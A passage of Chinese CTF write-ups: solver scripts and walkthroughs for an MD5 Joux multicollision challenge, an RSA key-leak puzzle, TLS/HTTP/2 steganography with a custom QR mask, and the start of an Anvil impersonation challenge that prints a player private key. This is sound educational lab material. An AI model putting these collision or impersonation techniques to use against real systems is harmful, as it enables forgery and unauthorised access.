    C = int((Decimal(3) ** (k + 1)) * (Decimal(2) ** (Decimal((k + 1) * (k - 4)) / Decimal(4))) * (eps ** Decimal(-(k + 1))))

    check_timeout(deadline)
    cs = [-(C * (A + 1) // B) for A, B in data]
    M = Matrix([
        [1, cs[0], cs[1], cs[2]],
        [0, C, 0, 0],
        [0, 0, C, 0],
        [0, 0, 0, C],
    ])
    K = M.lll()
    H = K * M.inv()
    row = [abs(int(v)) for v in H.tolist()[0]]
    y2 = row[0]
    x1_2, x2_2, x3_2 = row[1:]

    phis = []
    for A, B, X in zip([A1, A2, A3], [B1, B2, B3], [x1_2, x2_2, x3_2]):
        check_timeout(deadline)
        p, q = recover_factors(A, B, X, y2, deadline)
        phis.append((p - 1) * (q - 1))

    zs = [B * X - y2 * phi for (_, B), X, phi in zip(data, [x1_2, x2_2, x3_2], phis)]
    print("Recovered squares:")
    print("y^2  =", y2)
    print("x1^2 =", x1_2)
    print("x2^2 =", x2_2)
    print("x3^2 =", x3_2)
    print("Residuals:", zs)

    key_material_int = y2 + x1_2 * x2_2 * x3_2
    aes_key = hashlib.sha256(long_to_bytes(key_material_int)).digest()[:16]
    plaintext = unpad(AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ciphertext), AES.block_size)
    print(plaintext.decode())


if __name__ == "__main__":
    main()

【Crypto】 truck

题目信息

  • 题目名:truck
  • 题型:Crypto
  • 难度:简单
  • 动态环境:nihaohaha123 12345
  • 题目附件:chal.py
  • 利用脚本:exp.py
  • 最终 flag:xmctf{nihaohaha123}

0. 这题到底在考什么

这题本质上不是在考“你会不会手搓 MD5 细节”,而是在考你是否知道下面这件事:

MD5 不仅能做“一对一”的碰撞,还能通过 Joux multicollision 技巧,快速扩展成很多个不同消息共享同一个哈希值。

题目把这个性质连续套了三层:

  1. 第一层要求 md5(A) = md5(B) = md5(C)
  2. 第二层要求 md5(md5(A) || D) = md5(md5(B) || E) = md5(md5(C) || F)
  3. 第三层要求 md5(hd || G) = md5(he || H) = md5(hf || I)

同时还有一个限制:

  • 每一轮 A..I 这 9 个输入都必须互不相同
  • 10 轮之间所有输入也不能重复

所以我们总共需要:

  • 30 个不同的第一层消息
  • 30 个不同的第二层消息
  • 30 个不同的第三层消息

只要我们能分别造出三批“很多个不同消息但哈希相同”的集合,这题就结束了。


1. 先读源码

题目核心代码在 chal.py

for _ in range(10):
    A, B, C = bytes.fromhex(input('A > ')), bytes.fromhex(input('B > ')), bytes.fromhex(input('C > '))
    ha, hb, hc = _H(A), _H(B), _H(C)
    assert ha == hb == hc

    D, E, F = bytes.fromhex(input('D > ')), bytes.fromhex(input('E > ')), bytes.fromhex(input('F > '))
    hd, he, hf = _H(ha + D), _H(hb + E), _H(hc + F)
    assert hd == he == hf

    G, H, I = bytes.fromhex(input('G > ')), bytes.fromhex(input('H > ')), bytes.fromhex(input('I > '))
    assert _H(hd + G) == _H(he + H) == _H(hf + I)

    cur = (A, B, C, D, E, F, G, H, I)
    assert len(set(cur)) == 9
    assert not any(x in S for x in cur)
    S.update(cur)

对应行号可以看:

把它翻译成数学语言更清楚:

H(x) = md5(x),那么每轮要满足:

  1. H(A) = H(B) = H(C)
  2. H(H(A) || D) = H(H(B) || E) = H(H(C) || F)
  3. H(hd || G) = H(he || H) = H(hf || I)

而且所有原始输入字节串都不能重复。


2. 为什么这题第一眼容易想歪

很多人会有两个本能反应:

  1. “找一组 MD5 碰撞,然后复制 10 次”
  2. “找三元碰撞是不是很难”

这两个方向都不对。

2.1 不能复制 10 次

因为题目维护了一个全局集合 S,所有已经提交过的输入都会被记住。

也就是说:

  • 你第一轮用过的某个 A
  • 第二轮不能再出现
  • 甚至第二轮的 D/G 也不能和第一轮的任何输入相同

所以总共要准备 90 个互不相同的输入

2.2 不需要“直接找三元碰撞”

三元碰撞当然可以想,但没必要。

如果我们能找到很多个不同消息都哈希到同一个值,那么每次随便拿其中 3 个出来,就自动满足三元碰撞。

所以真正目标不是“三元碰撞”,而是:

造一个足够大的多碰撞池。


3. 解题所需的三个核心知识点

这部分是整题最关键的“教学内容”。

3.1 MD5 是分块迭代的 Merkle-Damgard 结构

MD5 不是把整条消息一次性吃进去的。

它会做三件事:

  1. 先把消息补齐到若干个 64 字节块
  2. 从固定初始状态 IV 开始
  3. 每处理一个块,就把内部状态更新一次

记内部状态为 IHV,那么可以写成:

state_0 = IV
state_1 = Compress(state_0, block_1)
state_2 = Compress(state_1, block_2)
...
state_n = Compress(state_{n-1}, block_n)
digest = state_n

这里最重要的是:

只要两条消息在某个状态下进入同一块后得到相同的新状态,那么后面再接相同后缀,最终结果仍然相同。

这就是碰撞可以被“拼接”和“扩展”的根源。

3.2 MD5 碰撞工具不仅能从标准 IV 开始,也能从任意 IHV 开始

常见的 fastcollhashclash 工具支持指定初始状态。

exp.py 里,对应的是:

cmd = [
    FASTCOLL,
    "-q",
    "-i", ihv.hex(),
    "-o", str(out1), str(out2),
]

位置见 exp.py:90

这意味着我们可以说:

  • “请从标准 MD5 初始状态开始找一对碰撞”
  • “请从某个中间状态开始再找一对碰撞”

这正是第二层和第三层能做出来的关键。

3.3 Joux multicollision

这是本题最核心的套路。

假设我们连续构造 5 层碰撞:

第 1 层:X1 / Y1
第 2 层:X2 / Y2
第 3 层:X3 / Y3
第 4 层:X4 / Y4
第 5 层:X5 / Y5

每一层都满足:

  • 从上一层的公共状态出发
  • XiYi 处理完后会落到同一个新状态

那么最后我们可以自由二选一地拼接每一层:

X1||X2||X3||X4||X5
X1||X2||X3||X4||Y5
X1||X2||X3||Y4||X5
...
Y1||Y2||Y3||Y4||Y5

总共会得到:

2^5 = 32

个不同消息,而且它们的最终哈希全都相同。

这就是经典的 Joux 多碰撞

它的美妙之处在于:

  • 你不是花 32 倍代价找 32 个碰撞
  • 你只要做 5 次“一对碰撞”
  • 就能组合出 32 个结果

这题 LEVELS = 5 的原因就在这里,见 exp.py:15

因为题目需要 30 个不同值,而:

2^5 = 32 >= 30

正好够用。


4. 第一层怎么做

第一层要求:

md5(A) = md5(B) = md5(C)

题目没有给 A/B/C 加任何固定前缀,所以这是最简单的一层。

我们直接从 MD5 标准初始状态 IV 开始做 5 层 Joux 多碰撞即可。

脚本里对应:

def build_stage1():
    core = build_multicollision(IV, LEVELS, WORKDIR / "stage1")
    dig = hashlib.md5(core[0]).digest()
    assert all(hashlib.md5(x).digest() == dig for x in core)
    return core, dig

位置见 exp.py:146

这里的逻辑是:

  1. 从标准 IV 出发
  2. 连续生成 5 对碰撞块
  3. 组合成 32 个不同消息
  4. 校验这 32 个消息的 md5 全部相同

于是我们得到第一层的池子:

A_pool = 32 个不同消息
它们满足 md5(A_pool[i]) 全相同

然后每轮从里面拿 3 个即可。


5. 第二层为什么看起来麻烦

第二层要求:

md5(ha || D) = md5(hb || E) = md5(hc || F)

而上一层已经保证:

ha = hb = hc

所以第二层其实等价于:

对某个固定 16 字节前缀 P,构造很多个不同后缀 X,使得 md5(P || X) 全相同

这里的 P 就是 ha,它是一个 16 字节的 MD5 摘要。

这时很多人会产生一个疑问:

fastcoll 不是通常要求从块边界开始吗?现在前缀只有 16 字节,怎么办?

这正是脚本里最漂亮的设计。


6. 第二层的关键技巧:补 48 字节把 16 字节前缀凑成一个完整块

因为:

len(ha) = 16

所以只要我们自己在 D 的开头补 48 字节任意内容,就能让:

ha || filler

恰好变成一个完整的 64 字节块。

脚本里写的是:

filler = filler_byte * 48
start_block = prefix16 + filler
start_ihv = md5_compress_blocks(IV, start_block)

位置见 exp.py:162

这一步做了什么?

  1. 把固定前缀 ha 和 48 字节填充拼成一个完整块
  2. 用自写的 md5_compress_blocks() 只做“压缩函数层面”的状态推进
  3. 算出处理完这一块后的内部状态 start_ihv

接下来就可以从这个 start_ihv 出发,继续做 5 层多碰撞。

也就是说,我们把问题:

md5(ha || D)

转化成了:

先固定吃掉一个完整块 (ha || filler)
再从新的内部状态开始,构造很多个不同后续块

这正是 Merkle-Damgard 结构带来的可组合性。


7. 为什么这种转化是完全正确的

我们来把第二层写得更形式化一点。

设:

  • P = ha
  • F = filler
  • X 是我们后面用多碰撞生成出来的块串

那么我们最终提交给题目的第二层消息其实是:

D = F || X

于是:

md5(P || D)
= md5(P || F || X)

因为 P || F 恰好是完整的 64 字节块,所以这等价于:

先从 IV 处理块 (P || F),得到状态 start_ihv
再从 start_ihv 开始处理 X

而我们让所有 Xstart_ihv 出发都收敛到同一个最终状态,于是所有:

md5(P || F || X)

自然也就相等。

这不是近似,不是猜测,而是 MD5 分块迭代结构的直接结论。


8. 为什么不需要 Chosen-Prefix Collision

这是本题很容易混淆的地方。

很多选手看到:

md5(ha || D)

就会下意识想到“chosen-prefix collision”。

其实这里不需要。

原因是:

  1. 前缀 hahbhc 已经被第一层强行做成完全相同
  2. 所以第二层不是“两条不同前缀的 chosen-prefix collision”
  3. 而只是“同一个前缀下,继续往后构造多碰撞”

题目难度低,也正是因为它给你的三层前缀都是可以被前一层先统一掉的。

如果题目写成:

md5(A || D) = md5(B || E)

而且 AB 彼此不同,那才更接近真正的 chosen-prefix 场景。


9. 第三层和第二层完全同理

第二层构造完成后,我们已经得到一个公共摘要:

hd = he = hf

第三层检查是:

md5(hd || G) = md5(he || H) = md5(hf || I)

由于 hd = he = hf,所以第三层和第二层没有本质区别。

只需要把前缀从 ha 换成 hd,再重复一次同样的构造即可。

脚本里对应:

G_pool, _ = build_stage_with_prefix(hd, b"G", "stage3")

位置见 exp.py:189


10. 利用脚本逐段拆解

下面我们把 exp.py 作为教学样例,从上到下拆一遍。

10.1 参数区

FASTCOLL = os.environ.get("FASTCOLL", "./md5fastcoll")
WORKDIR = Path("mc_work")
LEVELS = 5

含义如下:

  • FASTCOLL:碰撞工具路径
  • WORKDIR:中间文件目录
  • LEVELS = 5:做 5 层,产出 2^5 = 32 个结果

10.2 md5_compress_blocks() 的作用

这一段在 exp.py:53

它不是在“重新实现完整 MD5 接口”,而是在做更底层的事情:

给定某个 16 字节内部状态 ihv,再喂进去若干个完整 64 字节块,计算新的内部状态。

这和 hashlib.md5() 的区别是:

  • hashlib.md5() 会自动做 padding
  • md5_compress_blocks() 不做 padding,只处理完整块

为什么需要它?

因为我们要在第二层、第三层里手动计算:

处理完 (prefix16 || filler48) 这一个完整块后的 IHV

如果只用普通的 hashlib.md5(),很难直接拿到这个“中间状态”。

10.3 run_fastcoll()gen_pair()

这两段在 exp.py:90exp.py:100

逻辑是:

  1. 调用 md5_fastcoll -i <ihv>
  2. 让它从指定 IHV 开始生成一对碰撞消息
  3. 读回生成的两个二进制文件
  4. 校验两者长度一致、块对齐、内容不同
  5. 再用自写压缩函数验证它们从该 IHV 出发确实落到同一新状态

这里的校验非常重要。

CTF 里很多人喜欢“相信工具会对”,但教学角度上更推荐你像这份脚本一样:

  • 先生成
  • 再自己验证

这样出了问题更容易定位。

10.4 build_multicollision()

这段在 exp.py:121

这是 Joux 多碰撞的核心实现。

它做了两件事:

  1. 逐层生成 5 对碰撞块
  2. 对每一层做二进制选择,枚举出所有 2^5 个组合

伪代码可以写成:

ihv = start_ihv
for i in 1..5:
    生成一对碰撞块 (Xi, Yi),它们从 ihv 出发会到同一个新状态
    ihv = 新状态

for 每个长度为 5 的 01 串 bits:
    按 bits 决定每层选 Xi 还是 Yi
    拼接成一个完整消息

之所以所有结果最终哈希相同,是因为每层都保证“无论选左还是右,都会回到同一个公共状态”。

10.5 build_stage1()

这段在 exp.py:146

它只是把 start_ihv 设成标准 MD5 初始状态 IV,因此最容易理解。

10.6 build_stage_with_prefix()

这段在 exp.py:154

这是全题最值得学习的一段。

它完成的不是“直接对 prefix16 || suffix 做 chosen-prefix collision”,而是:

  1. 先选一个 48 字节 filler
  2. prefix16 || filler48 正好组成一块
  3. 手算这一块之后的新 IHV
  4. 从这个新 IHV 出发做 5 层多碰撞
  5. 最后把 filler 作为后缀的一部分一起交出去

所以最终返回的是:

full = [filler + x for x in core]

注意这一句非常关键,位置见 exp.py:167

也就是说:

  • 题目看到的 D/E/F/G/H/I
  • 实际上都是 “48 字节 filler + 多碰撞块串”

10.7 solve_remote()

这段在 exp.py:178

它完整体现了解题流程:

  1. 生成第一层 32 个消息和公共摘要 ha
  2. ha 作为固定前缀,生成第二层 32 个消息和公共摘要 hd
  3. hd 作为固定前缀,生成第三层 32 个消息
  4. 各取前 30 个
  5. 切成 10 轮,每轮各拿 3 个
  6. 本地先断言验证
  7. 再送远端

这里本地验证部分非常值得保留:

ha_, hb_, hc_ = hashlib.md5(a).digest(), hashlib.md5(b).digest(), hashlib.md5(c).digest()
assert ha_ == hb_ == hc_

hd_, he_, hf_ = hashlib.md5(ha_ + d).digest(), hashlib.md5(hb_ + e).digest(), hashlib.md5(hc_ + f).digest()
assert hd_ == he_ == hf_

assert hashlib.md5(hd_ + g).digest() == hashlib.md5(he_ + h).digest() == hashlib.md5(hf_ + i).digest()

位置见 exp.py:209

它能帮你在本地就发现错误,而不是把时间浪费在远端交互失败上。


11. 为什么所有输入都能保证互不相同

题目对去重很严格,所以这一点必须单独讲。

11.1 同一层内部为什么不同

Joux 多碰撞的 32 个结果来自不同的二进制选择序列。

只要每一层的左右块不同,那么任意两个不同选择序列拼出来的消息就不同。

脚本里也做了检查:

assert len(set(msgs)) == len(msgs)

位置见 exp.py:140

11.2 不同层之间为什么也不同

第一层消息长度和后两层不同。

因为:

  • 第一层只有 5 层碰撞块
  • 第二层和第三层前面额外加了 48 字节 filler

所以第一层结果不可能和第二层结果相同。

而第二层和第三层虽然结构相似,但 filler 分别是:

  • 第二层:b"D" * 48
  • 第三层:b"G" * 48

因此原始字节串也不会相同。

脚本还做了全局校验:

all_used = A_use + D_use + G_use
assert len(set(all_used)) == len(all_used)

位置见 exp.py:198

所以去重条件是被严密照顾到的。


12. 这题真正的利用链总结

把上面的内容压缩成最短解题链,就是:

  1. fastcoll 从标准 MD5 IV 出发做 5 层 Joux 多碰撞
  2. 得到 32 个不同消息,它们 md5 全相同
  3. 取这个公共摘要 ha
  4. 构造 ha || filler48 作为一个完整块,手算其后的 IHV
  5. 从这个新 IHV 再做 5 层多碰撞,得到 32 个不同 D,使得 md5(ha || D) 全相同
  6. 取第二层公共摘要 hd
  7. hd 重复同样操作,得到第三层 32 个不同 G
  8. 每层各取前 30 个,切成 10 轮,每轮各拿 3 个
  9. 提交后拿 flag

如果只记一句话,那就是:

这题是“三层套娃的 MD5 多碰撞”,核心技术只有一个:Joux multicollision。


13. 复现过程

这部分是偏实战的。

13.1 编译 hashclash

本地我使用的是 hashclash 里的 md5_fastcoll

在 macOS 上可用如下方式编译:

git clone --depth 1 https://github.com/cr-marcstevens/hashclash.git
cd hashclash
autoreconf --install
./configure --with-boost=/opt/homebrew/opt/boost
make -j4 bin/md5_fastcoll

如果你在 Linux 上,通常是:

sudo apt-get install autoconf automake libtool zlib1g-dev libbz2-dev libboost-all-dev
git clone --depth 1 https://github.com/cr-marcstevens/hashclash.git
cd hashclash
autoreconf --install
./configure
make -j4 bin/md5_fastcoll

13.2 一个实际踩坑

我的环境里,进入 CY/truck 目录后默认 python3pyenv 切到了 Python 3.14,而 pwntools 装在 Python 3.12 上。

所以直接跑:

python3 exp.py nihaohaha123 12345

会报:

ModuleNotFoundError: No module named 'pwn'

解决方式是显式使用有 pwntools 的解释器:

FASTCOLL=./hashclash/bin/md5_fastcoll python3.12 exp.py nihaohaha123 12345

13.3 最终利用命令

在本工作区中,实际运行的是:

cd /Users/chenjianfang/Desktop/PolarisCTF/CY/truck
FASTCOLL=./hashclash/bin/md5_fastcoll python3.12 exp.py nihaohaha123 12345

成功输出:

good: xmctf{nihaohaha123}

14. 常见疑问答疑

14.1 为什么 LEVELS = 5

因为每层只有左右两种选择。

所以做 L 层后,一共只有:

2^L

个结果。

题目需要 30 个不同值,所以:

2^4 = 16 不够
2^5 = 32 正好够

于是取 5 是最自然的选择。

14.2 为什么第二层和第三层要手写 md5_compress_blocks()

因为我们需要“中间状态”,而不是最终摘要。

hashlib.md5() 给你的是完整消息加 padding 后的最终结果。

fastcoll -i 需要的是:

某个完整块处理完之后的 IHV

所以必须自己写压缩层,或者调用能暴露中间状态的实现。

14.3 为什么 filler 可以随便选成 48 个 D 或 48 个 G

因为 filler 的作用只有一个:

把 16 字节前缀补到 64 字节边界

它只需要长度正确即可,不需要有什么神秘结构。

当然,选不同字符还有一个额外好处:

  • 第二层与第三层的原始消息更容易保证不同

14.4 fastcoll 生成出来的碰撞为什么能继续拼接

因为它保证的是“从指定 IHV 出发,处理这一对块后,落到同一个新 IHV”。

一旦两个中间状态相同,那么后面接完全相同的后缀,结果也会相同。

Joux 多碰撞正是不断重复这个逻辑。

14.5 这题为什么归到 Crypto 而不是 Misc

因为虽然操作层面上像“调用工具 + 构造消息”,但核心漏洞点是:

  • 对 MD5 碰撞性质的理解
  • 对 Merkle-Damgard 迭代结构的理解
  • 对多碰撞技巧的掌握

这些都属于典型密码学题知识。


15. 一句话复盘

这题的本质可以压缩为一句话:

先用 MD5 的 Joux 多碰撞造出 32 个不同 A 共享同一个摘要,再把这个摘要当成固定前缀,通过“补 48 字节凑整块 + 从新 IHV 继续做多碰撞”的方式继续构造第二层和第三层,最后每层各取 30 个分成 10 轮提交即可。


16. 附:本题最值得学走的思维方式

如果你希望通过这题真正学到东西,而不是只记住“跑脚本”,我最建议记住下面三点:

  1. 看到连续的哈希相等条件时,优先想“能不能把前一层先统一掉”。
  2. 看到 MD5/SHA1 这类分块哈希时,优先想“有没有中间状态可控”。
  3. 看到需要很多个不同消息共享同一结果时,优先想 Joux multicollision,而不是傻找很多独立碰撞。

这三条在 CTF 里复用率非常高。


17. 参考文件

【Crypto】 神秘学

xmctf{e6d787beb9230217e692e130f718cdeb}

神秘学 Writeup

基本情况

题目给出的是一份带有输出样例的 Python 脚本。核心部分有两段:

一段是 RSA,生成 512 bit 的 p、q,得到 n = p * q,然后令 e = inverse(c, phi),最后计算 cipher = m^e mod n。

另一段是一个三次多项式

f(x) = x^3 - a x^2 + b x - c - k n

其中 k 是 8 bit 素数。题目额外给出了 x1 和导数值

f’(x1) = 3 x1^2 - 2 a x1 + b

输出中包含 n、x1、deriv1_num、cipher。

本题完成解题约用时 8 分钟。

加密逻辑分析

我先看导数泄露。因为

deriv1_num = 3 x1^2 - 2 a1 x1 + b1

前两项都能被 x1 整除,所以直接有

b1 = deriv1_num mod x1

再移项可得

a1 = (3 x1^2 + b1 - deriv1_num) / (2 x1)

这样一来,题目在导数里藏起来的 a1、b1 就能被完整恢复。

接下来观察原多项式

f(x) = x^3 - a x^2 + b x - c - k n

题目专门给了一个 x1,如果不把它作为这个多项式上的特殊点,这一段构造基本没有信息量。最自然的利用方式就是令 x1 满足 f(x1) = 0,于是有

c = x1^3 - a1 x1^2 + b1 x1 - k n

这里唯一还没确定的是 k。好在 k 是 8 bit 素数,范围极小,直接枚举所有 8 bit 以内素数即可。

一旦得到候选 c,就能直接利用 RSA 的逆元关系解密。因为

e = c^(-1) mod phi(n)

所以对密文有

m = cipher^c mod n

我把所有候选 k 对应的 c 都代入后,只有 k = 173 得到唯一的完整可读明文:

xmctf{e6d787beb9230217e692e130f718cdeb}

虽然题面备注里写的是 unictf{} 或 flag{},但实际样例数据解出来的结果就是 xmctf{},因此应以真实解密结果为准。

解题脚本

# Only standard library is used
# Windows compatible

import time

n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
deriv1_num = 36360623837143006554133449776905822223850034204333042340303731846698251185379183585401025894584873826284649058526470710038176516677326058549625930550928515944115160614909195746688504416967586844354012895944251800672195553936202084073217078119494546421088598245791873936703883718926122761577400400368341859847
cipher = 17359360992646515022812225990358117265652240629363564764503325024700251560440679272576574598620940996876220276588413345495658258508097150181947839726337961689195064024953824539654084620226127592330054674517861032601638881355220119605821814412919221685287567648072575917662044603845424779210032794782725398473

TIME_LIMIT = 10.0
start_time = time.time()


def check_timeout():
    if time.time() - start_time > TIME_LIMIT:
        raise TimeoutError("solver timeout")


def is_prime_small(x: int) -> bool:
    if x < 2:
        return False
    i = 2
    while i * i <= x:
        if x % i == 0:
            return False
        i += 1
    return True


def long_to_bytes(x: int) -> bytes:
    if x == 0:
        return b"\x00"
    return x.to_bytes((x.bit_length() + 7) // 8, "big")


b1 = deriv1_num % x1
a1 = (3 * x1 * x1 + b1 - deriv1_num) // (2 * x1)

for k in range(2, 256):
    check_timeout()
    if not is_prime_small(k):
        continue

    c = x1 ** 3 - a1 * x1 ** 2 + b1 * x1 - k * n
    m = pow(cipher, c, n)
    pt = long_to_bytes(m)

    if b"{" in pt and pt.endswith(b"}") and all(32 <= ch < 127 for ch in pt):
        print(pt.decode())
        break
else:
    print("not found")

=================== MISC ===================

【MISC】 signin

题目信息

  • 分类:Misc
  • 难度:简单
  • 描述:近日某工作人员在维护服务器时截获了一段异常的加密流量,同时他在服务器的废纸篓里发现了一个加密的压缩包。据可靠消息,这段流量中隐藏着解开压缩包的钥匙。

附件结构

attachment.zip
├── attachment.pcapng   # 加密的 TLS 流量包
└── attachment.zip      # 加密的压缩包(嵌入在 pcapng 末尾)

解题步骤

Step 1:解压附件,发现两个文件

解压 attachment.zip 后得到:

  • attachment.pcapng:TLS 加密流量包

通过分析 pcapng 文件末尾,发现其中嵌入了一个 ZIP 文件(extracted.zip),包含:

  • flag.png:加密的 flag 图片(QR 码)
  • so_ez:TLS 密钥日志文件(NSS Key Log Format)

Step 2:提取 TLS 密钥日志

so_ez 文件内容为 TLS 1.3 密钥日志,格式如下:

SERVER_HANDSHAKE_TRAFFIC_SECRET <client_random> <secret>
EXPORTER_SECRET <client_random> <secret>
SERVER_TRAFFIC_SECRET_0 <client_random> <secret>
CLIENT_HANDSHAKE_TRAFFIC_SECRET <client_random> <secret>
CLIENT_TRAFFIC_SECRET_0 <client_random> <secret>

但此时 extracted.zip 是加密的,需要先找到密码。

Step 3:使用 TLS 密钥解密 HTTP/2 流量

so_ez 作为 TLS 密钥日志文件(tls_keys.log),使用 tshark 解密 pcapng 中的 TLS 流量:

tshark -r attachment.pcapng -o "tls.keylog_file:tls_keys.log" ...

解密后发现流量为 HTTP/2 协议,包含大量 GET /resource_<number> 请求。

Step 4:发现 WINDOW_UPDATE 隐写

分析 HTTP/2 流量中的 WINDOW_UPDATE 帧,发现其 window_size_increment 字段只有两种值:

  • 65536(代表 bit 0)
  • 65537(代表 bit 1)

这是一种经典的流量隐写技术,通过微小的数值差异编码二进制信息。

Step 5:解码隐写信息

提取所有 WINDOW_UPDATE 帧的 increment 值(共 352 个),按顺序转换为 bits:

bits = [0 if increment == 65536 else 1 for increment in increments]

将 bits 按 8 位一组转换为字节,得到 Base64 编码字符串:

Y2NkZDMwNzgyYjAzZjE2M2M3NjQ5YjlmZjU5NTkxMzU=

Base64 解码后得到 ZIP 密码:

ccdd30782b03f163c7649b9ff5959135

Step 6:解压加密 ZIP

使用密码 ccdd30782b03f163c7649b9ff5959135 解压 extracted.zip,成功提取:

  • flag.png:包含 flag 的 QR 码图片(450x450,Version 5)
  • so_ez:TLS 密钥日志

Step 7:分析 QR 码失败的原因

解压后得到的 flag.png 看起来是一个很标准的 QR 码:

  • 尺寸为 450x450
  • 实际二维码区域为 37x37 模块,对应 Version 5
  • 每个模块大小为 10x10
  • 四周 quiet zone 完整

但是奇怪的是,常见自动化工具都无法直接识别:

zbarimg -q flag.png

以及 zxing-cpppyzbar 等也都返回空结果。

这说明图片本身不是简单“裁边有问题”,而是二维码数据层被做了额外处理。

Step 8:从 PNG 元数据里找到关键提示

查看 flag.png 的字符串和元数据:

strings -n 4 flag.png
identify -verbose flag.png

可以在 XMP UserComment 中发现一条非常关键的提示:

ij%2+(i+j)%3

这不是普通说明文字,而是一个掩码公式提示。

结合二维码模块坐标 (i, j) 来看,最自然的理解是:

(i*j)%2 + (i+j)%3 == 0

也就是说,二维码的数据模块额外被做了一层自定义 XOR 掩码。

Step 9:按提示去掉自定义掩码

先把 flag.png 按模块提取为 37x37 的 0/1 矩阵,然后对数据区模块应用下面这条规则:

if (i * j) % 2 + (i + j) % 3 == 0:
    module ^= 1

注意这里不是标准 QR 的 8 种 mask,而是题目额外附加的一层变换。

在去掉这层变换后,得到的 codewords 已经可以通过 Reed-Solomon 校验恢复。

这一步说明:

  • 原图并不是随机损坏
  • 而是被出题人故意加了一层“假 mask”
  • 不先去掉这层,任何正常二维码解码器都会失败

Step 10:Reed-Solomon 纠错并解析二维码数据

恢复后的二维码参数为:

  • Version 5
  • EC Level L
  • 共 134 个 codewords
  • 其中 108 个数据码字,26 个纠错码字

将纠错后的数据流按 QR 标准解析:

  • 模式:Byte mode (0100)
  • 字符数:47

最终得到字节串:

flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}

最终 flag

flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}

关键发现

项目内容
TLS 密钥文件so_ez(嵌入在 extracted.zip 中)
隐写方式HTTP/2 WINDOW_UPDATE 帧大小(65536=0, 65537=1)
隐写内容Base64 编码的 ZIP 密码
ZIP 密码ccdd30782b03f163c7649b9ff5959135
flag 载体flag.png(QR 码,Version 5,37x37)
二维码干扰PNG XMP 中额外提示的自定义掩码 ((i*j)%2 + (i+j)%3 == 0)
最终 flagflag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}

文件说明

文件说明
attachment.pcapng原始 TLS 流量包
tls_keys.log提取的 TLS 密钥日志
extracted.zip从 pcapng 末尾提取的加密 ZIP
extracted/flag.png解密后的 QR 码图片
extracted/so_ezTLS 密钥日志原文
decode_window_update.pyWINDOW_UPDATE 隐写解码脚本
decode_steganography.py隐写分析脚本
decode_qr.pyQR 码手动解析脚本
extract_zip.py从 pcapng 提取 ZIP 的脚本
requests_with_length.txtHTTP/2 请求头大小数据
http2_traffic.json解密后的 HTTP/2 流量 JSON

总结

这题一共分成两层:

  1. 从 TLS 流量中的 HTTP/2 WINDOW_UPDATE 帧隐写恢复 ZIP 密码。
  2. 从解压出的 flag.png 中继续恢复真正的二维码内容。

第二层的坑点在于:

  • 这张码外观看起来完全正常
  • 常规解码器却全部失败
  • 真正原因不是二维码坏了,而是 PNG 元数据里还藏了一个“额外掩码公式”

去掉这层自定义掩码并做 RS 纠错后,才能拿到最终 flag。

【MISC】 口算私钥

题目信息

  • 题目名:口算私钥
  • 作者:UPON
  • 分类:Misc
  • 难度:中等
  • 环境类型:动态环境 / 本地区块链 RPC
  • 本次环境实测 Flag:xmctf{nihaohaha123}

题目给了两个入口:

  • 一个是 Sepolia 地址:https://sepolia.etherscan.io/address/0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934
  • 一个是动态环境页面:http://nihaohaha123:12345/

题面文案非常有迷惑性:

你好,黑客,我最近盯上了一个地址,你去帮我把他的私钥拿到。

如果你第一次看到这句话,大概率会往这些方向想:

  • 去 Etherscan 翻这个地址的交易记录
  • 猜是不是弱私钥、脑洞私钥、生日私钥
  • 想办法“算”出这个地址的私钥

但这题真正的关键点恰恰是:

你并不需要真的求出这个地址的私钥。

这道题考的是:

识别本地开发链环境,并利用 Anvil 的账户模拟能力,直接以 owner 身份调用合约。

也就是说,这题标题里的“口算私钥”其实更像是一个误导。


一句话总结

这题的最短思路就是:

  1. 打开动态环境页面,拿到本地 RPC 和目标合约地址。
  2. 发现链是 anvil,链 ID 是 31337,说明这是本地开发链。
  3. 本地开发链支持 anvil_impersonateAccount,可以直接模拟任意地址。
  4. 模拟题目要求的 owner 地址 0x1862...8934
  5. 以这个地址向 challenge 合约调用 solve()
  6. 再访问 /api/solve,拿到 flag。

如果只想看最核心的利用命令,可以直接看本文的“实战利用”部分。


一、先把题目页面里的信息全部榨干

访问动态环境页面后,页面已经把很多关键内容摆出来了。

1. 页面显示的信息

页面中可以直接看到:

  • RPC Endpoint:/rpc
  • Challenge Contract:0x75537828f2ce51be7289709686A69CbFDbB714F1
  • 玩家地址:0x81568ff18191c0e566C7c066cD4c9805f5bf2986
  • 玩家私钥:0xd6b3397a93fec96224a2cc833d8548a6cc61bc630cee22d6f3a64c602e2afc7

这里有一个很重要的教学点:

题目同时给了“玩家私钥”和“目标 owner 地址”。

这通常意味着:

  • 玩家私钥未必能直接解题
  • 它可能只是一个辅助身份
  • 真正的限制条件在别的地址上

换句话说,看到“题目给了一个私钥”,不要下意识认为“这个私钥就是最终答案”。

2. 页面还直接给了源码

页面里的两个标签页分别展示了 Challange.solSetup.sol

源码如下。

Challange.sol

pragma solidity 0.8.20;

contract Challange {

    bool public isSolve;
    address public owner;

    constructor(address _owner){
        owner = _owner;
        isSolve = false;
    }

    function solve() public {
        require(msg.sender == owner,"Not Owner");
        isSolve = true;
    }
}

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import { Challange } from "./Challange.sol";

contract Setup {
    Challange public target;

    constructor()  {
        target = new Challange(0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934);
    }

    function isSolved() external view returns (bool) {
        return target.isSolve();
    }
}

从这里我们已经可以把逻辑说得非常清楚了:

  • Setup 在部署时会新建一个 Challange
  • Challangeowner 被写死成 0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934
  • 只有 msg.sender == owner 时,solve() 才能成功
  • 一旦 solve() 成功,isSolve 就会变成 true
  • 判题逻辑本质上就是检查这个状态是不是 true

所以题目的真正目标不是:

“拿到某个私钥本身”

而是:

“想办法让合约相信你就是 owner”


二、合约审计:这题真正限制的到底是什么

